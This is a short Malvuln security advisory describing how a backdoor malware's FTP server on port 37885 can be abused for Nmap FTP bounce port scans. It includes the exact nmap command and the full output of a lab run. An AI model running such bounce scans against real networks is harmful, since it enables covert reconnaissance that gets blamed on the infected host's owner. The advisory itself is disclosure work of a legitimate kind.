Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/c25393545e5ead3a35996ef9a887bd34_D.txt
Vulnerability: Port Bounce Scan
Description: The backdoor runs an FTP server that listens on TCP port 37885. Third-party adversaries can abuse the server as a man-in-the-middle machine allowing PORT Command bounce scan attacks using Nmap. This vulnerability allows remote attackers to abuse your system and discreetly conduct network port scanning. Victims will then think these scans are originating from the infected system running the afflicted malware FTP Server and not you. This is easily accomplished as the malware also suffers from a authentication bypass issue reference MVID-2021-0147.
Vuln ID: MVID-2021-0148
Scanning ports 23,79,80 using Nmaps port bounce feature.
nmap -n -Pn -b pbarbar:email@example.com:37885 192.168.88.129 -p23,79,80 -v
Starting Nmap 7.80 ( https://nmap.org ) at 2021-03-25 18:47 Pacific Daylight Time
Resolved FTP bounce attack proxy to 192.168.88.128 (192.168.88.128).
Attempting connection to ftp://pbarbar:firstname.lastname@example.org:37885
Connected:220 Enter Login
Computer Name: DESKTOP-2X3IHHP
Local IP: 192.168.88.128
User On This Computer: victim
Drive C: 14.97 Gb Free
Login credentials accepted by FTP server!
Initiating Bounce Scan at 18:47
Discovered open port 80/tcp on 192.168.88.129
Completed Bounce Scan at 18:47, 2.10s elapsed (3 total ports)
Nmap scan report for 192.168.88.129
Host is up.
PORT STATE SERVICE
23/tcp closed telnet
79/tcp closed finger
80/tcp open http
Read data files from: C:\Program Files (x86)\Nmap
Nmap done: 1 IP address (1 host up) scanned in 11.28 seconds
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